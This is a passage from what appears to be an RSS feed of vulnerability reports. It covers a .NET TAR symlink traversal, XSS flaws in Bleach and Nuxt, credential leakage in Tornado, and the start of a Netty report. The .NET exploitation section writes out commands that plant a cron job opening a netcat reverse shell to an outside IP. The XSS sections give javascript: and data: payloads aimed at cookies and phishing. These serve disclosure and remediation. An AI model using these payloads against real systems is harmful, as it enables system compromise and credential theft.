When processing a subsequent archive entry that references the created link as a parent directory, the extraction engine attempts to write the file payload using standard file system APIs. The operating system&apos;s filesystem driver automatically resolves the symbolic link path, writing the payload to the external destination. This mechanism achieves arbitrary file creation or overwriting without triggering standard directory traversal checks that only inspect the literal name of the archive entry.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

Prior to the patch, the System.Formats.Tar extraction loop created symbolic links directly using the provided link name from the TAR header. Below is a conceptual representation of the vulnerable code pattern:

```csharp
// Conceptual representation of vulnerable extraction logic
void ExtractEntry(TarEntry entry, string destinationDirectory)
{
    string targetPath = Path.Combine(destinationDirectory, entry.Name);
    if (entry.EntryType == TarEntryType.SymbolicLink)
    {
        // Vulnerable: Target path of symlink is not canonicalized or restricted
        File.CreateSymbolicLink(targetPath, entry.LinkName);
    }
    else if (entry.EntryType == TarEntryType.RegularFile)
    {
        // Writes through existing symlinks if entry.Name starts with the symlink&apos;s name
        entry.Extract(targetPath, overwrite: true);
    }
}
```

The fix introduces robust validation to ensure the target of any symbolic link is fully resolved and validated against the root extraction directory. The following code demonstrates the remediation logic introduced in the patched versions:

```csharp
// Conceptual representation of patched extraction logic
void ExtractEntrySafe(TarEntry entry, string destinationDirectory)
{
    string canonicalDestDir = Path.GetFullPath(destinationDirectory);
    string targetPath = Path.GetFullPath(Path.Combine(canonicalDestDir, entry.Name));

    // Verify the entry path is within the extraction directory
    if (!targetPath.StartsWith(canonicalDestDir, StringComparison.OrdinalIgnoreCase))
    {
        throw new SecurityException(&quot;Directory traversal detected in entry name.&quot;);
    }

    if (entry.EntryType == TarEntryType.SymbolicLink)
    {
        string linkTarget = entry.LinkName;
        // Resolve and canonicalize the symlink target path
        string resolvedTarget = Path.GetFullPath(Path.Combine(Path.GetDirectoryName(targetPath)!, linkTarget));

        // Fix: Validate that the resolved symlink target is within the destination directory
        if (!resolvedTarget.StartsWith(canonicalDestDir, StringComparison.OrdinalIgnoreCase))
        { 
            throw new SecurityException(&quot;Symbolic link target points outside the destination directory.&quot;);
        }

        File.CreateSymbolicLink(targetPath, linkTarget);
    }
}
```

This fix prevents the creation of escaping symlinks, neutralizing the extraction-phase traversal exploit vector entirely. It enforces strict boundary checks at both the entry name level and the symbolic link resolution level.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation &amp; Attack Methodology

Exploitation of CVE-2026-45491 requires the attacker to construct a dual-stage TAR archive. The first stage contains a symbolic link entry whose name exists inside the destination folder, but whose target value points to a sensitive system directory. The second stage contains a file whose path uses the symbolic link folder name as a prefix, containing the payload to be written.

An attacker can use standard UNIX command-line tools to craft such an archive. For example, a target application extracts to /app/extracted/. The attacker runs:

```bash
# Step 1: Create a symlink pointing to /etc/cron.d locally
ln -s /etc/cron.d malicious_link

# Step 2: Create a payload file containing a malicious cron job
mkdir malicious_link
echo &quot;* * * * * root /usr/bin/nc -e /bin/sh 10.0.0.5 4444&quot; &gt; malicious_link/payload

# Step 3: Package into TAR, preserving the symbolic link structure
tar -cvf exploit.tar malicious_link malicious_link/payload
```

When this archive is uploaded to a vulnerable .NET application running with sufficient privileges (e.g., root), the ExtractToDirectory call creates the symlink pointing to /etc/cron.d. When the application extracts the next entry (malicious_link/payload), the file is written to /etc/cron.d/payload. This results in the execution of the reverse shell under the context of the cron service.

{/* icon: skull */}
{/* type: deep-dive */}
## Impact Assessment

The impact of successful exploitation is high-integrity local file modification. Depending on the privilege level of the host process running the .NET application, an attacker can modify system configuration files, install rogue binaries, or write files to autostart directories (such as cron paths, startup scripts, or systemd services).

If the application runs as root or administrator, this vulnerability leads to complete system compromise and local privilege escalation. In containerized environments, an attacker can escape the application container or write keys to shared volumes, compromising adjacent workloads.

Although the attack vector is local, it poses a severe threat to multi-tenant SaaS architectures, file processing platforms, and continuous integration pipelines that automatically process archives submitted by untrusted users. The vulnerability&apos;s CVSS v3.1 base score of 6.2 reflects its high impact on system integrity combined with a local vector.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation &amp; Detection Guidance

Complete remediation requires upgrading to the patched versions of .NET released during the June 2026 servicing window. Administrators should ensure the host runtimes are updated immediately to version 8.0.28, 9.0.17, or 10.0.9.

For systems where upgrading the runtime is not immediately feasible, developers must implement a custom extraction workflow to perform manual validation. Instead of calling TarFile.ExtractToDirectory, developers must manually iterate over TarReader entries, fully resolve each path using Path.GetFullPath, and verify that both entry paths and symlink targets start with the canonicalized target directory path.

Detection can be achieved via static analysis to locate references to TarFile.ExtractToDirectory and runtime auditing. File Integrity Monitoring (FIM) should be configured on high-value system paths like /etc/ and C:\Windows\System32\ to detect anomalous write operations originating from user-facing application pools.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[GHSA-GJ48-438W-JH9V: Client-Side HTML Sanitization Bypass in Bleach]]></title>
            <description><![CDATA[Bleach fails to sanitize the formaction attribute, permitting submit-triggered XSS when explicitly allowed in configurations.]]></description>
            <link>https://cvereports.com/reports/GHSA-GJ48-438W-JH9V</link>
            <guid isPermaLink="false">https://cvereports.com/reports/GHSA-GJ48-438W-JH9V</guid>
            <category><![CDATA[Bleach (PyPI Package)]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Alon Barad]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 14:07:49 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/GHSA-GJ48-438W-JH9V/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

The HTML sanitization library Bleach is widely used within the Python ecosystem to clean untrusted markup. By leveraging a whitelist of allowed tags, attributes, and URI protocols, Bleach filters inputs to prevent Cross-Site Scripting (XSS) attacks. Security researchers discovered that Bleach fails to sanitize the `formaction` attribute, which can contain dangerous URI schemes such as `javascript:`. This vulnerability affects all versions of Bleach prior to 6.4.0.\n\nApplications that explicitly allow the `formaction` attribute on submit-capable elements are vulnerable. The `formaction` attribute is used on elements like `&lt;button&gt;`, `&lt;input type=&quot;submit&quot;&gt;`, or `&lt;input type=&quot;image&quot;&gt;` to specify where to send the form-data when the form is submitted. Because Bleach does not check the protocol of the URI in this attribute, attackers can inject arbitrary script execution vectors.\n\nThis flaw represents a client-side HTML sanitization bypass. When a victim interacts with the sanitized but malicious element, the browser executes the payload. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-116 (Improper Encoding or Escaping of Output).

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of this vulnerability lies in the sanitization pipeline implemented by Bleach, which wraps the `html5lib` library. The `html5lib` parser decomposes an HTML fragment into tokens, which are then passed through a series of filters. During this process, attributes that are designated to contain URIs must be validated and sanitized. This verification is performed by matching attribute names against a static list of known URI attributes.\n\nIn Bleach&apos;s vendorized filter codebase, specifically within `bleach/sanitizer.py` and its dependencies in `html5lib`, a set named `attr_val_is_uri` defines these attributes. This set historically included standard URI-bearing attributes such as `action`, `href`, `src`, and `poster`. However, the `formaction` attribute was omitted from this list. As a result, the library did not route the value of `formaction` through its protocol-checking functions.\n\nBrowsers treat the `formaction` attribute as a direct replacement for the form&apos;s `action` URL when the triggering element is clicked. Under the HTML5 specification, if an element has a `formaction` attribute, that value overrides the `action` attribute of the parent `&lt;form&gt;`. Since the browser processes this attribute as a URI, it permits pseudo-protocols like `javascript:`. Bleach&apos;s failure to recognize `formaction` as a URI attribute allowed these dangerous schemes to persist in the sanitized output.\n\n```mermaid\ngraph LR\n  A[&apos;Untrusted HTML&apos;] --&gt; B[&apos;Bleach.clean()&apos;]\n  B --&gt; C{&apos;Is attribute in attr_val_is_uri?&apos;}\n  C -- &apos;Yes&apos; --&gt; D[&apos;sanitize_uri() validation&apos;]\n  C -- &apos;No&apos; --&gt; E[&apos;Preserve original value&apos;]\n  E --&gt; F[&apos;Client-Side DOM Execution&apos;]\n```

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

To understand the technical gap, we must examine how Bleach identifies URI-containing attributes. In `bleach/_vendor/html5lib/filters/sanitizer.py`, the set `attr_val_is_uri` is defined statically. When the sanitizer filter iterates over token attributes, it checks if the attribute namespace and name exist within this set. If a match is found, the filter invokes `sanitize_uri()` to strip unauthorized schemes.\n\nThe vulnerable code implementation did not include `(None, &apos;formaction&apos;)` in this mapping:\n\n```python\n# Vulnerable configuration in bleach/_vendor/html5lib/filters/sanitizer.py\nattr_val_is_uri = {\n    (None, &apos;action&apos;),\n    (None, &apos;href&apos;),\n    (None, &apos;src&apos;),\n    (None, &apos;poster&apos;),\n    # The (None, &apos;formaction&apos;) entry was missing here\n}\n```\n\nThe security patch added `(None, &apos;formaction&apos;)` to the `attr_val_is_uri` set. This single-line correction ensures that whenever the sanitizer encounters `formaction`, it treats the value as a URI and executes the validation routine. The patched code is structured as follows:\n\n```python\n# Patched configuration in bleach/_vendor/html5lib/filters/sanitizer.py\nattr_val_is_uri = {\n    (None, &apos;action&apos;),\n    (None, &apos;href&apos;),\n    (None, &apos;src&apos;),\n    (None, &apos;poster&apos;),\n    (None, &apos;formaction&apos;), # Added to ensure protocol verification\n}\n```\n\nWhen `formaction` is processed with this patch in place, the `sanitize_uri` function parses the value. If the scheme does not match the configured list of allowed protocols (typically `http`, `https`, and `mailto`), the attribute is either stripped or neutralized. This prevents the preservation of `javascript:` payloads.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

Exploitation of this vulnerability requires that the target application meets specific configuration prerequisites. The developer must have explicitly configured Bleach to allow the `formaction` attribute on submit-capable tags. Additionally, the application must allow elements like `&lt;button&gt;` or `&lt;input&gt;` to be submitted. If these conditions are met, the attack vector can be delivered through any untrusted user input field.\n\nAn attacker can construct a payload using a `&lt;button&gt;` element nested inside a `&lt;form&gt;` tag. The button is assigned a `formaction` attribute containing a malicious payload such as `javascript:alert(document.cookie)`. When Bleach processes this HTML fragment, it validates the `&lt;button&gt;` and `&lt;form&gt;` tags against the whitelist but ignores the payload inside the `formaction` attribute because it is treated as a plain text string.\n\n```html\n&lt;!-- Vulnerable payload after sanitization --&gt;\n&lt;form&gt;\n  &lt;button formaction=&quot;javascript:alert(document.cookie)&quot;&gt;Submit&lt;/button&gt;\n&lt;/form&gt;\n```\n\nOnce the sanitized payload is rendered in the victim&apos;s browser, it appears as a standard button. When the user clicks the button, the browser attempts to submit the form to the URL specified in the `formaction` attribute. Because the URL is a `javascript:` pseudo-protocol, the browser executes the script in the context of the vulnerable application&apos;s origin, allowing session hijacking or credential theft.

{/* icon: shield */}
{/* type: deep-dive */}
## Impact Assessment

The security impact of this vulnerability is client-side code execution under the origin of the hosting application. Successful exploitation results in Cross-Site Scripting (XSS). This allows an attacker to execute arbitrary script code within the victim&apos;s browser session, bypassing the Same-Origin Policy.\n\nWith active script execution, an attacker can access sensitive information stored in the browser. This includes session tokens, cookies, and local storage data. If the application does not utilize `HttpOnly` flags on session cookies, the attacker can exfiltrate these credentials to a controlled remote server. Furthermore, the attacker can perform unauthorized actions on behalf of the authenticated user, such as modifying account settings or initiating state-changing requests.\n\nThe Common Vulnerability Scoring System (CVSS) v3.1 assigns a score of 6.1 to this vulnerability. This medium-severity rating reflects that while the attack vector is network-based and requires no privileges, it depends on user interaction. The security scope is changed because the execution environment shifts from the backend data handler to the browser&apos;s DOM context.

{/* icon: lock */}
{/* type: mitigation */}
## Remediation and Long-Term Strategy

The primary remediation step is upgrading Bleach to version 6.4.0, which includes the missing entry in the URI attribute list. This update immediately resolves the sanitization bypass by subjecting the `formaction` attribute to the same protocol validation as other URI fields. However, developers must be aware of the long-term maintenance status of the Bleach library.\n\nMozilla formally deprecated Bleach and archived the repository. Version 6.4.0 is the final maintenance release of the project, meaning that no future security vulnerabilities or operational defects will be resolved by the maintainers. Consequently, continuing to rely on Bleach introduces long-term operational risk as new browser behaviors or security bypasses emerge.\n\nTo mitigate this risk, security teams should plan to migrate to supported alternatives. Libraries such as `nh3`, a Python binding to the Rust-based `ammonia` HTML sanitizer, provide actively maintained and high-performance alternatives. For temporary mitigation where upgrades cannot be immediately applied, developers must audit Bleach configurations and remove `formaction` from the list of allowed attributes.</content:encoded>
            <dc:creator>Alon Barad</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-53722: Reflected DOM-based Cross-Site Scripting (XSS) in Nuxt <NuxtLink>]]></title>
            <description><![CDATA[Nuxt `<NuxtLink>` components prior to versions 3.21.7 and 4.4.7 fail to sanitize URL schemes, enabling DOM-based XSS when binding untrusted, attacker-controlled navigation targets.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-53722</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-53722</guid>
            <category><![CDATA[Nuxt Framework v3 (before version 3.21.7)]]></category>
            <category><![CDATA[Nuxt Framework v4 (before version 4.4.7)]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 13:49:36 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-53722/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

The `&lt;NuxtLink&gt;` component is a foundational element within the Nuxt framework used for managing internal and external application navigation. It abstracts Vue Router routing mechanisms and standard native anchor HTML elements. When determining the routing target, `&lt;NuxtLink&gt;` dynamically evaluates whether the destination is an internal route or an external link.

The attack surface exists when applications dynamically bind untrusted data—such as user-supplied inputs, query parameters, or raw database records—directly to the `:to` or `:href` properties of a `&lt;NuxtLink&gt;` instance. If the bound target is identified as an external address, the framework traditionally rendered the value verbatim. 

This behavior results in a Document Object Model (DOM) Cross-Site Scripting vulnerability under CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-83 (Improper Neutralization of Script in Attributes). Attackers can execute arbitrary JavaScript payloads within the target browser because browsers natively parse and execute specific URI schemes directly inside anchor attributes.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The underlying technical flaw stems from how `&lt;NuxtLink&gt;` differentiates between internal and external paths. If a path contains a protocol separator, the framework classifies the routing target as external. Once flagged as external, the framework mapped the raw path string to the rendered native `&lt;a&gt;` element&apos;s `href` attribute without sanitizing the protocol prefix.

Modern browser rendering engines natively execute executable protocol schemes like `javascript:`, `data:`, or `vbscript:` when a user clicks the respective link. Because the framework assumed all external links were network-based web targets (such as `http:` or `https:`), it did not apply standard scheme checks.

```mermaid
graph LR
  Input[&quot;Untrusted Query Input&quot;] --&gt; Check{&quot;Is Route External?&quot;}
  Check -- &quot;Yes (Vulnerable)&quot; --&gt; Unsanitized[&quot;Unsanitized href Rendered&quot;]
  Unsanitized --&gt; Execution[&quot;Browser executes javascript: alert()&quot;]
  Check -- &quot;Yes (Patched)&quot; --&gt; Sanitize[&quot;sanitizeExternalHref()&quot;]
  Sanitize -- &quot;Script Protocol Detected&quot; --&gt; Block[&quot;Abort Navigation / Log Warning&quot;]
  Sanitize -- &quot;Safe Protocol&quot; --&gt; Safe[&quot;Render Safe Anchor Target&quot;]
```

An attacker can trigger this condition by supplying a crafted link target containing an active script scheme. The application retrieves this target from state variables or URL search parameters and passes it to `&lt;NuxtLink&gt;`. This action bypasses default framework-level output escaping because Vue.js considers bindings to attribute fields as secure strings.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

In the vulnerable state, external routes were passed directly into the computed path engine. The application resolved path objects and returned them unmodified to the template compiler. The framework omitted sanitization filters at the integration point between the reactive link logic and the native element configuration.

The official security advisory addresses this behavior by introducing `sanitizeExternalHref` within `packages/nuxt/src/app/components/nuxt-link.ts` inside commit `0103ce06fbbbdfa079a7f020ef8ce00121eac4a3`. The helper utility parses potential targets and rejects executable schemes:

```typescript
/**
 * Reject URL strings that would resolve to a script-capable protocol when used as the
 * `href` of an anchor element. Returns the value unchanged when safe, or `null`.
 */
function sanitizeExternalHref (value: string): string | null {
  // Strips Unicode control characters and ASCII whitespace
  let candidate = value.replace(/[\u0000-\u001f\s]+/g, &apos;&apos;)
  while (candidate.toLowerCase().startsWith(&apos;view-source:&apos;)) {
    candidate = candidate.slice(&apos;view-source:&apos;.length)
  }
  const colon = candidate.indexOf(&apos;:&apos;)
  if (colon &gt; 0 &amp;&amp; isScriptProtocol(candidate.slice(0, colon + 1))) {
    return null
  }
  return value
}
```

This implementation uses `isScriptProtocol` from the `ufo` dependency to validate against a protocol blocklist consisting of `javascript:`, `data:`, `vbscript:`, and `blob:`. If the check fails, the framework sets the computed `href` property to `null` and intercepts navigation dynamically:

```typescript
async navigate (_e?: MouseEvent) {
  if (href.value === null) {
    if (import.meta.dev) {
      console.warn(`[${componentName}] refused to navigate to a URL with a script-capable protocol.`)
    }
    return;
  }
  await navigateTo(href.value, { replace: unref(props.replace), external: isExternal.value || hasTarget.value })
}
```

While this sanitization blocks standard exploits, validation bypasses are theoretically possible if downstream parser logic differs from the browser&apos;s normalization rules. For example, if the browser normalizes full-width Unicode colons (`\uff1a`) into standard ASCII colons (`:`) after the component&apos;s scheme check runs, the payload could execute successfully.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

To execute this attack, an attacker must locate an application route that parses parameters from the location query or dynamic client state and processes them into `&lt;NuxtLink&gt;`. The target application pattern usually resembles this layout:

```html
&lt;!-- Vulnerable Application Implementation --&gt;
&lt;template&gt;
  &lt;NuxtLink :to=&quot;$route.query.continueUrl&quot;&gt;Proceed to Destination&lt;/NuxtLink&gt;
&lt;/template&gt;
```

The attacker crafts a malicious link targeting the vulnerable route, appending the exploit payload as a query parameter. An example exploit string is:
`https://example.com/login?continueUrl=javascript:alert(document.domain)`

When the victim visits the constructed link and interacts with the navigation anchor, the browser executes the Javascript payload. This execution operates with the privileges of the active session context. A second vector utilizes standard data URIs to execute a same-tab phishing overlay, which replaces the viewport context with a forged authentication prompt:
`https://example.com/login?continueUrl=data:text/html,&lt;h1&gt;Session%20Expired&lt;/h1&gt;`

{/* icon: skull */}
{/* type: deep-dive */}
## Impact Assessment

The security impact of CVE-2026-53722 depends on the session context of the authenticated user. Because the script executes in the context of the application&apos;s origin, the attacker can access sensitive client-side data. This includes session tokens stored in `localStorage` or `sessionStorage` and browser cookies not flagged with `HttpOnly` attributes.

An attacker can use this access to capture user inputs, alter page elements, or issue API requests on behalf of the victim. If the vulnerable application handles administrative or backend management tasks, exploitation can lead to administrative account takeover or data exposure.

This vulnerability has been assigned a CVSS v3.1 score of 5.4, reflecting medium severity due to the requirement for user interaction. Its CVSS v4.0 score is 5.1, recognizing the network delivery vector and low complexity, but limiting the severity because it requires active user interaction.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Mitigation Guidance

The primary remediation strategy is upgrading the Nuxt framework to patched versions containing the sanitization library. Applications running on the Nuxt 3 branch must upgrade to version `3.21.7` or later. Applications on the Nuxt 4 branch must upgrade to version `4.4.7` or later.

If upgrading is not immediately feasible, developers should implement custom sanitization filters. All dynamic parameters bound to `&lt;NuxtLink&gt;` components must be validated against an allowlist of permitted target schemes:

```typescript
function sanitizeRouteInput(target: string): string {
  if (!target) return &apos;/&apos;
  // Enforce relative paths or standard HTTP/S protocols
  const isSafe = /^(https?:\/\/|\/)/i.test(target.trim())
  return isSafe ? target : &apos;/&apos;
}
```

Integrate this sanitization function directly into application templates to prevent arbitrary scheme binding:

```html
&lt;NuxtLink :to=&quot;sanitizeRouteInput($route.query.continueUrl)&quot;&gt;Proceed&lt;/NuxtLink&gt;
```

Additionally, implementing a strict Content Security Policy (CSP) with restriction directives such as `script-src &apos;self&apos;` and disabling `&apos;unsafe-inline&apos;` will mitigate runtime impact if a bypass is discovered.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[GHSA-pw6j-qg29-8w7f: State Persistence and Sensitive Credential Leakage in Tornado CurlAsyncHTTPClient]]></title>
            <description><![CDATA[Tornado's CurlAsyncHTTPClient reuses pycurl handles without resetting configuration state, leading to client certificate and proxy credential leakage to unintended destinations.]]></description>
            <link>https://cvereports.com/reports/GHSA-PW6J-QG29-8W7F</link>
            <guid isPermaLink="false">https://cvereports.com/reports/GHSA-PW6J-QG29-8W7F</guid>
            <category><![CDATA[Tornado Web Framework (CurlAsyncHTTPClient)]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 20:37:24 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/GHSA-PW6J-QG29-8W7F/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

The Tornado web framework provides multiple backends for handling asynchronous HTTP requests. The `CurlAsyncHTTPClient` is an advanced backend designed as a wrapper around `pycurl`, the Python bindings for the C-based `libcurl` library. This backend is frequently selected in performance-critical environments because of its speed, multi-socket scheduling capabilities, and support for complex network topologies. To achieve high request throughput, `CurlAsyncHTTPClient` maintains a internal pool of `pycurl.Curl` easy handles that are checked out of an idle queue, configured for a specific request, and then checked back into the queue upon execution completion.

However, this optimization creates a significant attack surface if security states are not strictly isolated between consecutive execution threads. The client fails to wipe the internal configuration history of these reusable easy handles. When a handle is returned to the free list, any configuration set during the lifetime of the previous request remains active unless explicitly overwritten. Consequently, a request designed with strict security parameters (such as client-side certificates or proxy credentials) will unintentionally pass those configuration values down to any subsequent request scheduled on the same handle.

This structural logic flaw results in two distinct data leakage vectors. The first vector leaks client-side TLS certificates (configured via `SSLCERT` and `SSLKEY`) to arbitrary public servers. The second vector leaks proxy authentication credentials to unauthorized intermediate proxy servers. This vulnerability exposes organizations using mutual TLS (mTLS) or credentialed proxy configurations to unauthorized credential harvesting and identity impersonation.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The fundamental driver of this vulnerability is the state retention model used by the underlying `libcurl` library. In `libcurl`, when an option is applied to an easy handle via `curl_easy_setopt` (wrapped by Python&apos;s `curl.setopt()`), the setting persists on that handle indefinitely. The setting remains active until it is overridden by another `setopt` call, cleared using `curl_easy_unsetopt`, or wiped using `curl_easy_reset` (wrapped by `curl.reset()`). Tornado&apos;s `CurlAsyncHTTPClient` does not reset handles between operations, opting instead to configure options dynamically on a per-request basis in the `_curl_setup_request` method.

This design operates on the assumption that `_curl_setup_request` will comprehensively configure or clear every parameter. This assumption is incorrect. In `tornado/curl_httpclient.py` (v6.5.6 and earlier), the setup routine implements multiple conditional checks that apply options only when a specific configuration is active, lacking corresponding `else` branches to clear those parameters when they are absent in subsequent requests. 

For example, during mTLS requests, `SSLCERT` and `SSLKEY` parameters are bound to the `pycurl.Curl` instance. If a subsequent request that does not specify client certificates is allocated the same handle, the configuration block is skipped, allowing the previously bound paths to persist. During proxy operations, if the client establishes a request using an authenticated proxy (configuring `PROXYUSERPWD`) and then issues a subsequent request through an unauthenticated proxy, the code updates the proxy host and port but bypasses the credential update block. Because the unsetting logic is only reachable when proxying is disabled entirely, the previous credentials remain bound and are transmitted to the new proxy server.

```mermaid
graph LR
  A[&quot;Request A (mTLS)&quot;] --&gt; B[&quot;Acquire Handle from Pool&quot;]
  B --&gt; C[&quot;Set SSLCERT / SSLKEY&quot;]
  C --&gt; D[&quot;Execute &amp; Complete Request A&quot;]
  D --&gt; E[&quot;Return Handle to Pool (State Persists)&quot;]
  E --&gt; F[&quot;Request B (No TLS Cert)&quot;]
  F --&gt; G[&quot;Acquire Same Handle&quot;]
  G --&gt; H[&quot;Skip SSLCERT / SSLKEY Setup&quot;]
  H --&gt; I[&quot;Execute Request B with Residual SSLCERT&quot;]
  I --&gt; J[&quot;Server B Receives Client Cert&quot;]
```

{/* icon: code */}
{/* type: deep-dive */}
## Code-Level Flaw Analysis

The vulnerable logic exists in `tornado/curl_httpclient.py` inside the `_curl_setup_request` method. The following block displays how client certificates are configured conditionally without cleanup branches:

```python
# Vulnerable code in tornado/curl_httpclient.py (v6.5.6)
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)

if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)
```

Because there are no corresponding `else` conditions, a handle that has `request.client_cert` configured will continue to hold that reference on all subsequent requests where `request.client_cert` is `None`. A similar issue affects proxy credential management:

```python
# Vulnerable proxy credentials logic
if request.proxy_host and request.proxy_port:
    curl.setopt(pycurl.PROXY, request.proxy_host)
    curl.setopt(pycurl.PROXYPORT, request.proxy_port)
    if request.proxy_username:
        assert request.proxy_password is not None
        credentials = httputil.encode_username_password(
            request.proxy_username, request.proxy_password
        )
        curl.setopt(pycurl.PROXYUSERPWD, credentials)
    # Missing &apos;else&apos; branch to clear PROXYUSERPWD when proxy_username is None
else:
    try:
        curl.unsetopt(pycurl.PROXY)
    except TypeError:
        curl.setopt(pycurl.PROXY, &quot;&quot;)
    curl.unsetopt(pycurl.PROXYUSERPWD)
```

In this block, if `request.proxy_host` remains true but `request.proxy_username` is omitted, the code does not reach the outer `else` block containing `curl.unsetopt(pycurl.PROXYUSERPWD)`. Consequently, the credentials from the prior proxy configuration are reused. 

The security patches in Tornado version 6.5.7 resolve these issues by implementing systematic unsetting logic. When optional parameters are omitted from a request, the framework explicitly executes `curl.unsetopt()` to clear the active state of the handle before execution.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation and Attack Methodology

Exploiting this vulnerability does not require complex payload construction. It relies instead on scheduling behavior and pool reuse. An attacker does not need direct access to the application&apos;s memory or network flow to trigger the leak. Instead, the application itself initiates the leakage when executing sequential requests on behalf of users.

In a multi-tenant or multi-destination environment, an application using `CurlAsyncHTTPClient` might first process an internal request (Request A) that requires mutual TLS authentication to access a restricted backend service. Once completed, the handle is returned to the pool. When a user subsequently triggers a request (Request B) to an external, untrusted, or attacker-controlled server, the backend scheduler may assign the same handle. Because the handle retains the `SSLCERT` and `SSLKEY` parameters, the outgoing connection to the attacker-controlled server will execute an mTLS handshake, automatically presenting the client certificate to the external target.

In proxy scenarios, the process follows a similar flow. An application routes administrative or premium traffic through an authenticated corporate proxy using a high-privilege credential. When the application subsequently routes a standard user request through an unauthenticated public proxy, the active handle retains the `Proxy-Authorization` header value. The unauthorized proxy captures the header during connection establishment, obtaining the base64-encoded credentials of the primary corporate proxy.

{/* icon: shield */}
{/* type: deep-dive */}
## Impact Assessment

The impact of credential leakage is classified as Medium (CVSS 5.9). Although the base CVSS score is moderate due to high attack complexity, the actual consequences in enterprise deployments can be severe.

In modern service architectures, client TLS certificates are frequently used as a primary authentication factor to access protected APIs, internal administrative portals, or sensitive databases. If these certificates are leaked to external servers, an attacker can capture the certificate chain. Depending on the configuration of the certificate authority and the target services, this exposure can allow the attacker to authenticate as the client, leading to unauthorized data access.

Furthermore, client certificates frequently contain metadata within their Subject Common Name (CN) or Alternative Names, such as internal server names, IP addresses, or domain structures. Access to this metadata allows an attacker to map internal network layouts. Similarly, leaked proxy credentials can allow unauthorized users to tunnel traffic through enterprise proxy servers, bypassing access controls and incurring significant routing fees.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Defensive Strategies

The primary remediation strategy is upgrading the Tornado installation to version 6.5.7 or later. The update implements code changes that explicitly clear unused parameters during request setup, preventing state persistence across requests.

If upgrading is not immediately possible, you can implement several workarounds to mitigate exposure. The first workaround is switching the application&apos;s HTTP client backend from `CurlAsyncHTTPClient` to Tornado&apos;s native python-based client, `SimpleAsyncHTTPClient`. Because the native client does not use `libcurl` or pool persistent native handles, it is entirely unaffected by this state leakage flaw.

```python
# Configure Tornado to use the safe native client backend
from tornado.httpclient import AsyncHTTPClient
AsyncHTTPClient.configure(&quot;tornado.simple_httpclient.SimpleAsyncHTTPClient&quot;)
```

If your application requires the `CurlAsyncHTTPClient` for advanced networking features, you can mitigate the risk by isolating client instances based on security context. Instead of using a single global client, instantiate separate client pools for different classes of requests. For example, use one dedicated client instance exclusively for mTLS connections, another for authenticated proxy connections, and a third for standard outbound requests. This isolation ensures that a recycled handle is never reused across different security boundaries.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-48748: Netty HTTP/3 QPACK Blocked Streams Memory Exhaustion]]></title>
            <description><![CDATA[A boundary check bypass and memory leak in Netty's HTTP/3 QPACK decoder allow remote attackers to exhaust JVM memory and crash servers via an unrestricted number of blocked streams.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-48748</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-48748</guid>
            <category><![CDATA[io.netty:netty-codec-http3]]></category>
            <category><![CDATA[Netty HTTP/3-enabled web servers]]></category>
            <category><![CDATA[API gateways using Netty for HTTP/3]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 20:43:13 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-48748/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

